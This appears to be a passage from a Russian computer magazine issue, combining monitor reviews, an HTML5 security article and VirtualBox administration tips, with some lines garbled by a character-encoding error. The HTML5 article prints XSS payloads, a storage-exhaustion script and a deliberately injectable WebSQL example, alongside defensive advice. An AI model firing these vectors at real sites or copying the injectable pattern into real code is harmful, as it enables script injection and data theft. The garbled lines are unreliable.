òùàòåëüíîå òåñòèðîâàíèå ñîâðåìåííûõ ìîíèêîâ è íàäååìñÿ, ÷òî îíî 
ïîìîæåò òåáå â âûáîðå.
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Если в дизайне устройств ты в первую очередь ищешь консерватизм, 
то Acer B233HU — это твой выбор. У него очень строгий, если не сказать 
«скучновато-устаревший», дизайн, который неплохо сочетается с его 
габаритами, весьма толстым корпусом и столь же серьезной и массивной 
подставкой (хотя благодаря ей монитор может как поворачиваться по 
сторонам, так и двигаться вверх-вниз). Экран весьма велик, наверняка 
ты захочешь его настроить; тут проявится достоинство изделия — его 
удобное, понятное и простое меню. Кстати, разрешение у Acer B233HU 
даже больше, чем FullHD — оно составляет 2048x1152 пикселей. Еще 
одним плюсом является большое количество портов и разъемов: D-Sub, 
DVI, HDMI и даже USB-хаб.

К сожалению, со своей основной функцией — отображением информа-
ции — Acer B233HU справляется не очень хорошо, несмотря на все его 
объективные плюсы. Во-первых, в нижней части экрана присутствуют 
заметные засветы, которые никуда не пропали даже после долгой рабо-
ты. А во-вторых, результаты нашего колориметрического тестирования 
оказались средними.

Монитор BenQ V2220H имеет несколько оригинальных черт, которые 
существенно выделяют его среди остальных участников нашего теста. 
Это небольшой вес, который равен трем килограммам, что являет-
ся отличным показателем для двадцатидюймового монитора. Такая 
легкость достигается благодаря двум обстоятельствам: вынесенному за 
пределы корпуса блоку питания, а также наличию LED-подсветки. И если 
с первым все ясно, то вторая особенность предполагает еще несколько 
приятных моментов. Это уменьшение толщины корпуса монитора, а также 
более быстрое включение. Тут самое время упомянуть о том, что и на наш 
взгляд, и на взгляд колориметра, которым проводилось тестирование, 
качество изображения у BenQ V2220H просто отличное.

Несмотря на это, недостатки у него тоже есть. Это и весьма слабая и 
неудобная подставка, и бедная комплектация (в комплекте поставки — 
только провод VGA), и очень небольшой вертикальный угол обзора.

XÀÊÅÐ  12  /143/  10

ТЕХНИЧЕСКИЕ ХАРАКТЕРИСТИКИ:
ДИАГОНАЛЬ: 21,5"

ТИП МАТРИЦЫ: TN (LED-ПОДСВЕТКА)
СООТНОШЕНИЕ СТОРОН: 16:9
РАЗРЕШЕНИЕ: 1920X1080
ЯРКОСТЬ: 250 КД/М2
ДИНАМИЧЕСКАЯ КОНТРАСТНОСТЬ: 10000000:1
ВРЕМЯ ОТКЛИКА: 5 МС 
УГОЛ ОБЗОРА (ГОР./ВЕРТ.): 170/160 (CR?10)
РАЗЪЕМЫ: D-SUB, DVI, HDMI
ДИНАМИКИ: -
ГАБАРИТЫ: 523X394X171 ММ
ВЕС: 3,3 КГ

BenQ
V2220H

ТЕХНИЧЕСКИЕ ХАРАКТЕРИСТИКИ:
ДИАГОНАЛЬ: 23"
ТИП МАТРИЦЫ: TN
СООТНОШЕНИЕ СТОРОН: 16:9
РАЗРЕШЕНИЕ: 2048X1152
ЯРКОСТЬ: 300 КД/М2
ДИНАМИЧЕСКАЯ КОНТРАСТНОСТЬ: 80000:1
ВРЕМЯ ОТКЛИКА: 5 МС 
УГОЛ ОБЗОРА (ГОР./ВЕРТ.): 160/160 (CR?10)
РАЗЪЕМЫ: D-SUB, DVI, HDMI, USB
ДИНАМИКИ: 2Х 1 ВАТТ
ГАБАРИТЫ: 544X385X234 ММ
ВЕС: 7,8 КГ

Acer
B233HU

5800 ðóá.9890 ðóá.
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ТЕХНИЧЕСКИЕ ХАРАКТЕРИСТИКИ:
ДИАГОНАЛЬ: 23"
ТИП МАТРИЦЫ: TN (LED-ПОДСВЕТКА)
СООТНОШЕНИЕ СТОРОН: 16:9
РАЗРЕШЕНИЕ: 1920X1080
ЯРКОСТЬ: 250 КД/М2
ДИНАМИЧЕСКАЯ КОНТРАСТНОСТЬ: 5000000:1
ВРЕМЯ ОТКЛИКА: 5 МС 
УГОЛ ОБЗОРА (ГОР./ВЕРТ.): 170/160 (CR?10)
РАЗЪЕМЫ: D-SUB, DVI
ДИНАМИКИ: -
ГАБАРИТЫ: 560X428X198 ММ
ВЕС: 3,3 КГ

LG
E2350V 

ТЕХНИЧЕСКИЕ ХАРАКТЕРИСТИКИ:
ДИАГОНАЛЬ: 21.5"
ТИП МАТРИЦЫ: TN (LED-ПОДСВЕТКА)
СООТНОШЕНИЕ СТОРОН: 16:9
РАЗРЕШЕНИЕ: 1920Х1080
ЯРКОСТЬ: 250 КД/М2
ДИНАМИЧЕСКАЯ КОНТРАСТНОСТЬ: MEGA DCR (1000:1 СТАТИЧЕСКАЯ)
ВРЕМЯ ОТКЛИКА: 5 МС 
УГОЛ ОБЗОРА (ГОР./ВЕРТ.): 170/160 (CR?10)
РАЗЪЕМЫ: D-SUB, DVI
ДИНАМИКИ: -
ГАБАРИТЫ: 513X341X190 ММ
ВЕС: 4,2 КГ

Дизайн монитора очень консервативен. Впрочем, у такого решения на-
верняка найдутся свои поклонники, ведь не все мечтают иметь на столе 
нечто плавное и футуристичное. А вот подставка весьма функциональна, 
с ее помощью регулируется высота, монитор может крутиться из стороны 
в сторону и переходить в портретный режим.
Эта модель оснащена качественной LED-подсветкой, что явно пошло ей 
на пользу. Блок питания, несмотря ни на что, оставлен внутри, но, учиты-
вая общий дизайн, некая массивность совсем не мешает.

Недостатками устройства являются не очень удобное меню, к управле-
нию которым привыкаешь далеко не сразу. Да и к качеству цветопереда-
чи можно предъявить некоторые претензии.

Samsung
BX2240 LED 

6900 ðóá. 7950 ðóá.

Если ты по каким-то причинам считаешь, что подставка портит любой 
монитор, то сейчас мы расскажем о решении твоей проблемы. Такой мо-
нитор, как LG E2350V, можно использовать и без подставки — специаль-
ная ножка сзади поможет ему не упасть. Вот такое необычное решение. 
Без подставки устройство выглядит еще легче и изящнее, чем оно есть 
на самом деле, а стало оно таким за счет использования LED-подсвет-
ки и выноса блока питания за пределы корпуса. Ну и дизайнерская 
работа тоже хорошо видна: только сенсорные клавиши, округлые линии, 
бордовый градиент… Экранное меню очень удобно и функционально, а 
перед использованием заводских профилей можно сравнить результат 
их применения с текущей картинкой.

Явно выраженных отрицательных моментов нами у LG E2350V выявлено 
не было. Но пару недостатков мы все же нашли. Во-первых, это датчик 
освещенности, который работает не очень хорошо, толку от него опреде-
ленно немного. Во-вторых, сенсорная кнопка включения не имеет каких-
либо явных признаков, поэтому первое время придется ее поискать.





FERRUM

Выводы
Призом «Выбор редакции» сегодня награждается LG E2350V, который 
отличается функциональностью, стильным дизайном и хорошим ка-

чеством картинки. А награда «Лучшая покупка», несмотря на не очень 
большой угол вертикального обзора, отходит к BENQ V2220H — очень 
сбалансированному и качественному устройству с очень хорошей 
цветопередачей. z

Ðåçóëüòàòû 
Òåñòîâ 

 LG E2350V  Samsung BX2240 LED

 Acer B233HU BenQ V2220
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Начиная в прошлом номере тему HTML5, мы намеренно не касались 
аспекта безопасности тех нововведений, которые предлагает нам 
будущий стандарт. Формат черновика и, как следствие, самодеятель-
ность в реализации одних и тех же возможностей разработчиками 
разных браузеров, а также банальные недоработки открывают огром-
ное поле для деятельности пентестеров. О том, какие потенциальные 
проблемы в безопасности несут в себе нововведения, мы сегодня и 
поговорим.

HTML5: краткое резюме
Чтобы освежить в памяти основные моменты HTML5, попробуем 
вспомнить, о чем мы начали говорить в прошлом номере. Многие, 
вероятно, уже наслышаны про противостояние кодеков для техноло-
гии встраивания видеороликов на страницах. С помощью тега <video> 

предполагается если не заменить, то, как минимум, составить серьез-
ную конкуренцию Adobe Flash. Заводя разговор о HTML5, часто вспо-
минают именно это нововведение. Еще бы, ведь такие гиганты видео-
хостинга, как Youtube и Vimeo, уже реализовали поддержку новой 
технологии. А мобильные продукты от Apple, в которых официальной 
поддержки Flash’а не было и, скорее всего, не будет, уже активно ее 
используют. Так что потоковое видео, вставленное в страницу с помо-
щью тега <video> – это то, что можно пощупать уже сейчас. 
Среди других «вкусностей», которые предлагает HTML5, стоит выде-
лить:

• Îôôëàéí-õðàíåíèå äàííûõ â áðàóçåðå: âåá-õðàíèëèùå, 

ëîêàëüíûå ÁÄ;

• Canvas 2D API;
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  HTML5 – áóäóùèé ñòàíäàðò ÿçûêà ðàçìåòêè èíòåðíåòà. 
Ïîêà îí íàõîäèòñÿ â ñòàäèè ÷åðíîâèêà, íî âñå áîëüøå è áîëüøå åãî 
âîçìîæíîñòåé ðåàëèçóþòñÿ â ïîïóëÿðíûõ âåá-áðàóçåðàõ. Êàê ýòî 
îáû÷íî áûâàåò, íîâûå òåõíîëîãèè íåñóò â ñåáå è íîâûå óÿçâèìîñòè, 
êîòîðûå ìîãóò áûòü óñïåøíî ïðîýêñïëóàòèðîâàíû. 

  Тарас «oxdef» Иващенко oxdef.info; Дмитрий «Invent» Сидоров 

Êàêèå îïàñíîñòè íåñåò íîâûé ñòàíäàðò

HTML5: 
âçãëÿä 
÷åðåç ïðèçìó 
áåçîïàñíîñòè
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• Ìåæäîìåííîå âçàèìîäåéñòâèå (Cross Domain Messaging);

• Drag-and-drop-ôóíêöèîíàë;

• Ðàáîòà ñ ñåòüþ ñ ïîìîùüþ âåá-ñîêåòîâ;

• Îïðåäåëåíèå ìåñòîïîëîæåíèÿ (Geolocation).

PDF-версию материала о HTML5 из прошлого номера ты найдешь на 
DVD-диске. Долго не останавливаясь на том, что мы уже проходили, 
попробуем посмотреть на нововведения с точки зрения безопасности.

Веб-хранилище – 
мощная альтернатива кукам
Нет ничего удивительного в том, что с приходом эры веб-приложений 
(как, например, Gmail) появилась необходимость в хранении масси-
вов данных на стороне веб-браузера. Яркий пример тому – попытки 
сделать возможной работу с такими веб-приложениями в оффлайне. 
В этом больших успехов добился Google со своей технологией Google 
Gears. Куки со своими лимитами (особенно размером в 4 Кб) и мето-
дами работы с ними – явно неподходящее и устаревшее решение 
для подобных задач. По этой причине было решено разработать 
новый механизм, подобный кукисам, но лишенный их недостатков. 
Им и стала технология WebStorage. В двух словах, благодаря HTML5 
мы теперь имеем хранилище (вернее, два хранилища) вида «ключ-
значение» на стороне веб-браузера с доступом из JavaScript: 
localStorage – для долговременного хранения данных;
sessionStorage –  для сессионного применения. 
Механизм поддерживается практически всеми веб-браузерами: 
Firefox 3.5, Safari 4.0, IE8, Google Chrome, Opera 10.50. Ниже приведен 
типовой пример использования локального веб-хранилища для учета 
посетителей веб-страницы.

<p>Âû ïðîñìàòðèâàëè ýòó ñòðàíèöó <span 

id="count">ñêîëüêî-òî </span> ðàç.</p>

<script>

if (!localStorage.pageLoadCount)

     localStorage.pageLoadCount = 0;

localStorage.pageLoadCount += 1;

document.getElementById('count').textContent = 

localStorage.pageLoadCount;

</script>

Давай посмотрим на сторону безопасности данной технологии. Как 
и многое в JS, API в HTML5 подчиняется механизму HTML5 Origin, то 
есть данные доступны для всех страниц на одном домене с учетом 
протокола и номера порта (например, http://example.com:80). Как 
уже отмечалось выше, веб-хранилище избавлено от лимита в 4 Кб и 
спецификация рекомендует использовать 5 Мб на домен. На деле же 
у Firefox, Safari, Opera, Google Chrome лимит равен 5 Мб, у IE – 10 Мб. 

Но самое интересное не в самой квоте, а в том, как браузеры исполь-
зуют их.
К примеру, в Firefox действует лимит на .example.com. Таким образом, 
(и тут внимание!) один поддомен может полностью занять место, отве-
денное для домена:

// Firefox 3.6.8

for (var i = 0; i < 100; i++) {

    try {

        localStorage.setItem(rand(1, 10000).

toString() + 

            'foo'+i.toString(), 'AA...AA'+i.

toString());

    } 

    catch (e) {

        alert(i.toString()+'|'+e);break;

        }

}

Не обошлось и без вездесущего null-байта. В данном веб-браузере 
вставка null-байта в ключ localStorage приводят к «забывчивости» 
Firefox. Иными словами, занято всего 1 байт, но веб-браузер это место 
не учитывает. «Мелочь, а приятно» ©. 
Идем дальше. Google Chrome пытается быть более строгим к ограни-
чениям на домен, и в расчете лимита учитывается полностью домен. 
Но в то же самое время в Google Chrome можно занять вообще *все* 
твое дисковое пространство, создав кучу айфреймов на wildcard-
домен, в котором и забрать по 5 Мб!

<script>

for(var i=0; i<10; i++) {

    var iframe = document.createElement('iframe');

    iframe.src = 'http://'+randomString()+'.example.

com/ddos.html';

    document.body.appendChild(iframe);

}

</script>

Этот баг до сих пор не исправлен. Помимо прочего, от кукисов к ново-
му виду хранилища перекочевали и старые проблемы, в том числе:
- отслеживание пользователей;
- DNS-спуфинг атаки.
Из-за особенностей ограничения доступа (протокол+домен+порт) мы 
также имеем проблемы на хостингах, использующих систему example.
com/~user/, чего, к слову сказать, с кукисами не было. Да, давно уже 
мы не встречали подобный хостинг в жизни, но вдруг! Стоит также 
отметить еще одну важную особенность веб-хранилища – в отличие от 
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В Chromium (равно как и в Google Chrome) входят 
удобные средства разработки, поддерживающие 
в том числе и HTML5

Схема работы Cross Domain Messaging
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кукисов, на сервер ничего не передается в рамках привычных HTTP-
запросов. Данные доступны только со стороны веб-браузера через 
JS API. Так же как и другие технологии, которые переносят большую 
часть работы веб-приложения на сторону веб-браузера, это повы-
шает риски от традиционных уязвимостей вида XSS. И если раньше 
угоняли куки, то сейчас велик шанс угнать более «вкусные» данные, а 
в 5 Мб их уместить можно немало! Для сессионных кукисов, впрочем, 
появилась возможность сильно урезать их доступность в JavaScript с 
помощью атрибута HTTPOnly, и это хорошо. Но для WebStorage подоб-
ных механизмов не предусмотрено, и доступ будет полным.

SQL-инъекция в веб-браузере
Раз уж зашла речь про хранение данных, вспомним и про еще более 
продвинутое средство – веб-SQL-база данных прямо в браузере! 
Пускай это SQLite, но и это уже неплохо! Не будем подробно рассма-
тривать достаточно специфичный синтаксис выполнения запросов к 
БД, а лучше сразу рассмотрим следующий код, который должен про-
сто выводить информацию о книге по ее ID:

function showById() {

    var pos = document.URL.indexOf("book=")+5;

    var bookId = document.URL.substring(pos,document.

URL.length);

    var author = '';

    var title = '';

    db.transaction(function(tx) {

    tx.executeSql("SELECT * FROM books WHERE id = "

    + bookId, [],

    function(tx, result){

        if ( result.rows.length > 0) {

        document.getElementById('bookAuthor').

        textContent = result.rows.item(0)['author'];

        document.getElementById('bookTitle').

        textContent = result.rows.item(0)['title'];

        }

    }, function(tx, error){});

    });

}

А что будет, если перейти по адресу вроде следующего?

http://target.com/html5/websql.html?book=1/**/

AND/**/1=2

Получаем DOMXSS+SQL-инъекцию! Жаль, что возможности исполь-
зования данной уязвимости достаточно малы (кстати, Oxod написал 
хорошую статью про инъекции в SQLite, ссылку ищи в WWW-сноске). 
Особенно с учетом того, что и Opera, и Chrome хранят в отдельных 
файлах SQLite-базы для сайтов. Само собой, авторы предусмотрели 
возможность и рекомендуют выполнять «безопасные» параметризи-
рованные SQL-запросы. Но посмотрим, как разработчики будут сле-
довать их совету. Помимо прочего, для веб-SQL-баз характерны такие 
же проблемы, как у localStorage и sessionStorage.

Новые теги и атрибуты: обновля-
ем базы сигнатур IDS и WAF
В HTML5 добавились новые теги и атрибуты, а это значит, что пора 
обновлять правила/сигнатуры твоих WAF (мы подробно писали о 
файерволах для веб-приложений в статье «Горящие стены защиты» 
в номере ][ от 10.2009). Одним из новых элементов разметки являет-
ся атрибут autofocus. Это достаточно долгожданный атрибут, потому 
как ранее практически все время приходилось делать JavaScript-
обработку автофокуса. И вот, в HTML5, наконец, добавили атрибут для 
автофокусировки на определенном текстовом поле. Но давай предста-
вим себе использование этого атрибута как способа автоматического 
исполнения кода:

<input onfocus=alert(1) autofocus>

<input onblur=write(1) autofocus><input autofocus>

Этот прием может пригодиться, например, когда фильтруются угловые 
скобки. Тег <video>, который мы уже сегодня вспоминали, несет в себе 
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Валидация адреса электронной почты 
в соответствии с RFC

Запрос на определение местоположения в Chromium
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помимо собственно мультимедийных функций  еще и воз-
можности выполнения JavaScript-кода (кто бы мог поду-
мать :)) через атрибут poster:

<video poster=javascript:alert(1)//

<video><source 

onerror="javascript:alert(1)">

К «заслугам» <video> можно отнести еще и возможность 
точной идентификации веб-браузера. Будет еще одним 
приемом в копилке Metasploit Decloak (www.decloak.net). 
Примеры c новыми элементами можно продолжать. Как 
тебе, например, самовыполнение JavaScript с помощью 
обработчика onscroll-тега <BODY> и все того же атрибута 
autofocus?

<body onscroll=alert(1)><br><br><br>...<br><

input autofocus>

Или вот еще финт, правда, он работает пока только в 
последних версиях Оперы:

<form id="test" /><button form="test" formac

tion="javascript:alert(1)">X

Новые типы полей форм
Помимо новых тегов и атрибутов, в HTML5 большое 
внимание уделено взаимодействию веб-приложений с 
пользователем и добавлено большое количество типов 
текстовых полей ввода: datetime, datetime-local, date, 
month, time, week, number, range, email, url, search, tel, 
color. Они призваны добавить больше смысловой нагрузки 
обычным текстовым полям. Так, для поля date будет воз-
можно удобно выбрать дату, не прибегая к использованию 
готовых календарей на JavaScript. Не придется больше 
заморачиваться с текстом-заглушкой. В общем, наконец-

то появятся более удобные и подходящие по контексту 
средства ввода информации. 

 <style>

    [required] {

        background-color: green;

    }

     :invalid {

        background-color: red;

    }

</style>

…

<input name="email" type="email"/>

Что важно с точки зрения безопасности, так это то, что 
поля будут сами себя валидировать!
С одной стороны, ура – больше не надо писать регулярки 
по RFC (хотя у тебя этого права никто не отнимает, благо, 
теперь добавлен специальный атрибут pattern) и замо-
рачиваться проверками на JavaScript перед отправкой 
данных формы на сервер. С другой стороны, не следует 
забывать про валидацию на стороне серверной части веб-
приложения! Как ни странно, но практика показывает, что 
и сейчас часто встречаются случаи, когда про серверные 
проверки забывают или реализуют их недостаточно стро-
го. Проверке на стороне  веб-браузера, как понимаешь, 
доверять уж точно не стоит. Особенно «замылиться глаз» 
может при разработке AJAX-части современных веб-
приложений. И вот чего я опасаюсь: если эта валидация 
еще больше упростится, то как бы разработчики и вовсе 
про нее не забыли!

Cross-document messaging
Веб-браузеры по причинам безопасности ограни-
чивают взаимодействие (доступ и обмен данными) 
клиентских частей веб-приложений, размещенных на 
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• Cайт от Гугла про 
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• Спецификации 
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• «Dive into HTML5» 
by Mark Pilgrim:
diveintohtml5.org
• Статья «Инъекции, 
легкие на подъем: 
эксплуатируем инъ-
екции в SQLite» от 
Oxod:
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Валидация данных в формах
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разных доменах. Несмотря на то, что ограничение вроде как дей-
ствительно нужное с точки зрения безопасности, междокументное 
взаимодействие в некоторых случаях часто оказывается необходи-
мым. Например, это может быть актуально для виджетных техно-
логий. Система междокументных сообщений позволяет (в идеале) 
безопасным способом обмениваться данными документам, разме-
щенным на разных доменах, и поддерживается уже как минимум 
Firefox, Google Chrome. 
Рассмотрим, как работает данный механизм. Пусть сайт (вернее, его 
клиентская часть) example.com/index.html хочет взаимодействовать с 
foo.com/iframe.html, который загружен в айфрейме. В таком случае на 
foo.com инициализируется «получатель» сообщений. Код получателя 
сообщений на foo.com:

<div id="msg">...</div><script>

window.addEventListener('message', receiver, false);

function receiver(e) {

    if (e.origin != 'http://example.com') {

        return;

    }

    document.getElementById('msg').innerHTML = 

    'Origin: ' + e.origin  + ' From: ' + e.source  + 

' Data: ' + e.data;

} 

</script>

Обрати внимание на явную проверку отправителя (e.origin). Но даже с 
такой проверкой надо не забывать валидировать пришедшие данные 
на тот случай, если на доверенном отправителе вдруг обнаружится, 
скажем, XSS. А в документе (клиентской части) a.example.com мы 
отправляем сообщение получателю:

<script>

function postMsg() {

var o = document.getElementById('ifra');   

o.contentWindow.postMessage(document.

getElementById('msg').value, 'http://foo.com/');

return false;

}</script> 

Здесь важно явным образом указывать адресата сообщения 
targetOrigin. Даже несмотря на то, что стандартом предусмотрена воз-
можность указать «*» и тем самым разрешить отправлять сообщения 
любому адресату. IMHO, основной риск в этом механизме в изна-
чальной сложности безопасной реализации обмена сообщениями. 
Разработчику нужно четко понимать, что он делает. Велик риск 
элементарно забыть про проверку отправителя. Может оказаться 
опасным «слепое» использование пришедших данных, что приведет к 
перерождению DOM-based XSS.

Определение местоположения
Текущие местоположение – достаточно важный аспект частной жизни 
(«приватности»), поэтому реализовывать механизмы его определе-
ния надо с большой осторожностью. Этот аспект описан в секции 
«Security and privacy considerations» спецификации от W3С. Если в 

двух словах, то в спецификации заявлено о том, что месторасполо-
жение должно быть явным образом разрешено посетителем сайта. 
Технически это реализуется вызовом специального метода объекта 
navigator.geolocation:

if (navigator.geolocation) {

  navigator.geolocation.getCurrentPosition(function(p

osition) {

    var lat = position.coords.latitude;

    var lng = position.coords.longitude;

    var options = {position: new google.maps.

LatLng(lat, lng) }

    var marker = new google.maps.Marker(options);

    marker.setMap(map);

  });

}

Во всех популярных браузерах (за исключением MS Internet Explorer, 
в котором Geolocation API попросту не реализован) при заходе страни-
цу, использующую геолокацию, отображается предупреждение о сборе 
сведений и спрашивается разрешение у пользователя. При этом есть 
возможность запомнить свой выбор и/или поместить сайт в белый 
или черный список. Важно, что при этом учитывается домен сайта, не 
включая полный путь до скрипта… 
В ходе определения местоположения веб-браузер собирает дан-
ные о твоем IP-адресе, ближайших точках беспроводного доступа 
и, возможно, другую подобную информацию (например, случайный 
идентификатор клиента, назначаемого Google, который истекает 
через две недели), и пересылает это все сервису определения 
местоположения (www.mozilla.com/ru/firefox/geolocation). А теперь, 
братья-параноики, угадайте, кто будет являться этим самым сер-
висом в большом количестве случаев (Google Chrome, Firefox, 
Opera)?! Правильно, Google Location Services! Нам, конечно, обе-
щают, что:
«Ни Mozilla, ни Google никогда не будут использовать собранную 
Google Location Services информацию для вашей идентификации и 
никогда не будут за вами шпионить».
Но мы-то знаем, что никому нельзя верить! :) Также следует обратить 
внимание на печальные  последствия, которые принесет XSS на раз-
решенном для сбора координат сайте.

В заключение
Хочется надеяться, что наученные горьким опытом разработчики 
веб-приложений не только кинутся реализовывать все действи-
тельно интересные и нужные фишки HTML5, но и проштудируют 
разделы «Security» соответствующих спецификаций. Радует, что не 
отстают от прогресса и различные инструменты для пентестеров, 
в том числе W3AF, являющийся мощным и свободный фреймвор-
ком для проведения аудита безопасности веб-приложений.  Ваш 
покорный слуга является одним из участников этого проекта, и мы 
уже добавили модули для поиска мест использования WebStorage 
и других рискованных участков кода. Так что при очередном аудите 
сайта на безопасность ты можешь определить, используются ли там 
фишки HTML5 :).z
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Работая с VirtualBox’ом каждый день, открываешь для себя все 
новые и новые фишки. Например, недавно, когда мне понадобилось 
отснифать весь трафик виртуальной машины, оказалось, что необя-
зательно использовать сниффер: для этого есть встроенная опция 
в самой программе. А встроенный API, как оказалось, за последние 
полтора года сильно шагнул вперед, и я буквально за часик разобрал-
ся и сварганил скрипт, который автоматически выполнял нужные мне 
действия внутри гостевой системы. Сегодня мы решили аккумулиро-
вать свой опыт и составить несколько полезных и подчас неочевид-
ных приемов работы с VirtualBox, к которым нам нередко приходится 
прибегать. 

Трик 1. Управляем виртуальными 
машинами через RDP
Удаленный доступ — это то, что я использую каждый день. С этой 
стороны особенно приятно, что к любой виртуальной машине 
VirtualBox можно удаленно подключиться и комфортно работать 
с ней, используя стандартный протокол RDP (Remode Desktop 
Protocol). Подойдут любые знакомые клиенты: виндовая утилита 
mstsc или, например, никсовый FreeRDP (www.freerdp.com). Для 

каждой виртуальной машины выделяется отдельный порт, поэтому 
нет никакой проблемы, чтобы запустить на хостовой машине сразу 
несколько виртуалок и в случае необходимости обращаться к любой 
из них. Соответственно, все, что нужно для подключения — это 
указать IP-адрес хостовой машины с нужным портом. Стандартный 
виндовый клиент вызывается по команде mstsc. Под никсами 
выполнить подключение не менее просто через rdesktop, который 
в любом современном дистрибутиве установлен по умолчанию: 
rdesktop host_system_ip:port. Включить доступ по RDP и назначить 
порт можно в настройках каждой виртуальной машины на вкладке 
«Удаленный дисплей». Для виртуалки с виндой можно оставить 
порт по умолчанию 3389 (имей в виду, что он может быть занят 
непосредственно серверо м RDP хостовой машины), а для машины 
с никсами — 3390 и т.д. Если планируется несколько одновремен-
ных подключений, необходимо активировать соответствующую 
опцию. Помимо этого здесь настраиваются параметры авторизации. 
Самый небезопасный метод — полностью отключить процедуру 
аутентификации, но в этом случае доступ к виртуалке получит любой 
желающий. Вместо этого можно выбрать авторизацию через акка-
унты хостовой системы или учетные записи гостевой системы. Для 
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того, чтобы данные было невозможно отснифать, любая RPD-сессия 
шифруется с помощью симметричного RC4 алгоритма с 128-битным 
ключом, который меняется каждые 4096 отправленных пакетов.

Трик 2. Устанавливаем веб-морду
Чтобы иметь доступ к виртуальным машинам извне, на домашнем 
роутере мне приходится пробрасывать порты для каждой из них. 
Все хорошо ровно до того момента, пока не окажешься в сети, где 
админ режет весь подозрительный (с его точки зрения) трафик, и 
попытки подключения по RDP летят в тартарары. К счастью, старый 
добрый протокол HTTP разрешен везде, и этим фактом нельзя не вос-
пользоваться. Мы уже когда-то рассказывали о веб-интерфейсе для 
управления виртуальной машиной с помощью VirtualBox Web Console 
(code.google.com/p/vboxweb). Ныне этот проект не развивается и не 
поддерживается, но зато он был взят за основу актуального решения 
phpVirtualBox (code.google.com/p/phpvirtualbox). По сути, это точная 
копия интерфейса десктопной версии VirtualBox, но реализованная на 
PHP и AJAX. Получается, что из любого места, имея под рукой лишь 
браузер, можно обратиться к серверу с установленным phpVirtualBox и 
получить доступ к свои виртуальным машинам. Блеск. 
1. Для работы phpVirtualBox необходим запущенный на хостовой 
машине демон vboxwebsrv (он распространяется вместе с VirtualBox). 
На никсовых машинах он, как правило, располагается в папке /usr/bin. 
Под виндой он находится в папке с VirtualBox, то есть, скорее всего, в 
C:\Program Files\Oracle\VirtualBox. Важный момент: программа долж-
на быть запущена под тем же пользователем, что и сам VirtualBox. 
Лучше всего отключить весь вывод программы, в противном случае 
будет сильно страдать производительность.

"C:\Program Files\Oracle\VirtualBox\vboxwebsrv.exe" 

>nul

2. Далее нам понадобится любой работающий веб-сервер с PHP-
интерпретатором. Чтобы не париться с настройкой, можно взять гото-
вую сборку XAMP или XAMPPLite (www.apachefriends.org). Файлы из 
архива phpVirtualBox необходимо разместить в папке htdocs. 
3. В завершение необходимо прописать некоторые настройки 
VirtualBox’а в файле config.php, назначив новые значения для пере-
менных $username, $password, $location. 
Все. После этого можно попробовать открыть админку (http://<ip-адрес 
сервера>:<порт>) и убедиться, насколько все здорово работает.
На сайте VirtualBox можно скачать SDK разработчика, в котором поми-
мо прочего находятся исходники RDP-клиента, реализованного на 
Flash’е. Технология называется RDP Web Control и позволяет прямо из 
вкладки браузера управлять виртуальной машиной так же, как через 

любой RDP-клиент. Разработчики phpVirtualBox, само собой, встрои-
ли RDP Web Control в свою оболочку. Так что через веб-оболочку 
доступно не только управление настройками виртуальных машин, но и 
полноценная работа с ними. Это очень круто!

Трик 3. Управляем ВМ через кон-
соль!
Но удаленный доступ — это не все, что нужно для эффективного 
использования виртуальных машин. Еще одна важная часть — воз-
можность автоматизации. К счастью, в VirtualBox никто не обязывает 
тебя использовать GUI-интерфейс. Любые действия можно выполнить 
через консольную утилиту администрирования VBoxManage.exe и 
использовать ее в любых своих сценариях. Можешь попробовать вве-
сти команду «VBoxManage list vms» — получишь в консоли список всех 
существующих виртуальных машин, их имена и идентификаторы UUID:

Oracle VM VirtualBox Command Line Management 

Interface Version 3.2.10

(C) 2005-2010 Oracle Corporation

All rights reserved.

"MacOS" {5f74df26-8f93-4f18-b120-da107a5e0a9c}

"macox" {8385d552-b41e-4ffd-add0-3b8795e53f46}

"ubuntu" {09e0b578-3668-4492-92d2-7fa5fb21c911}

"vista" {27b526c2-6bca-4cfe-ace8-703b803670a8}

"xp" {521f3a25-68c7-44e7-a28f-0c60ee87295e}

Хочешь запустить одну из них прямо из консоли? Ничего сложного: 
отдаем соответствующую команду, указав имя нужной виртуалки — 
«VBoxManage.exe startvm xp». Верный способ получить справку о 
том, какие команды доступны, и как их использовать — запустить 
приложение без параметров. Разработчики гарантируют, что кон-
сольная версия ничем не уступает GUI-оболочке, и любые действия 
с виртуальными машинами можно с не меньшим успехом выполнить 
через VBoxManage. Выше я упоминал SDK для разработчиков, который 
обновляется с каждой новой версией VirtualBox и выкладывается на 
официальном сайте. Программа предоставляет мощнейший API для 
управления виртуальными машинами. Система встроенных вызовов 
такова, что использовать ее можно из самых разных языков програм-
мирования: существуют привязки (то есть специальные модули) для 
Java, Python и других языков. В качестве хорошего примера для старта 
можно взять из SDK vboxshell.py, в котором через API реализовано 
несколько полезных опций для управления виртуалками. В том числе 
запуск программы внутри гостевой ОС, создание скриншота с дисплея 
виртуальной машины, подключение ISO-образа в качестве 
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CD/DVD-диска, проброс портов из хостовой машины в гостевую ОС и 
т.д. В прошлом году у нас был материал «Прокачиваем виртуальную 
машину», где мы уже рассматривали API VirtualBox’а. Тогда из-за 
отсутствия вызовов для управления поведением гостевой систе-
мы (например, запуска приложений) нам пришлось использовать 
API VMware с более продвинутыми возможностями. Сейчас же API 
VirtualBox сделала два шага вперед, и мы вполне могли обойтись без 
использования платной VMware.

Трик 4. Снифаем весь трафик 
виртуальной машины
Недаром во время установки VirtualBox под винду выводятся предупре-
ждения, что все сетевые подключения будут на небольшое количество 
времени отключены. Программа устанавливает в систему допол-
нительные сетевые драйвера и виртуальные сетевые адаптеры. Их 
можно найти через диспетчер устройств: «VirtualBox Host-Only Ethernet 
Adapter» — то, о чем я говорю. Весь трафик гостевой системы, конечно 
же, проходит через эти вспомогательные элементы. И вот за что раз-
работчикам хочется в очередной раз сказать «Спасибо», так это за 
возможность записать весь трафик напрямую в pcap-файл. Да, для 
перехвата пакетов можно было воспользоваться и обычным сниффером 
(причем как под гостевой, так и под хостовой системой), но используя 
эту встроенную возможность VirtualBox, ты получаешь в распоряжение 
лог абсолютно всех пакетов, который отправила или получила гостевая 
ОС. Для включения записи сетевого трафика достаточно двух команд:

VBoxManage modifyvm [your-vm] --nictrace[adapter-

number] on --nictracefile[adapter-number] file.pcap

VirtualBox -startvm [your-vm]

Например, так:

VBoxManage modifyvm "ubuntu" --nictrace1 on 

--nictracefile1 file.pcap

VirtualBox -startvm "ubuntu"

В результате в файле file.pcap будет полный дамп трафика, который 
можно изучить с помощью любого анализатора, например, Wireshark. 
Важно после всех экспериментов не забыть отключить логирование, 
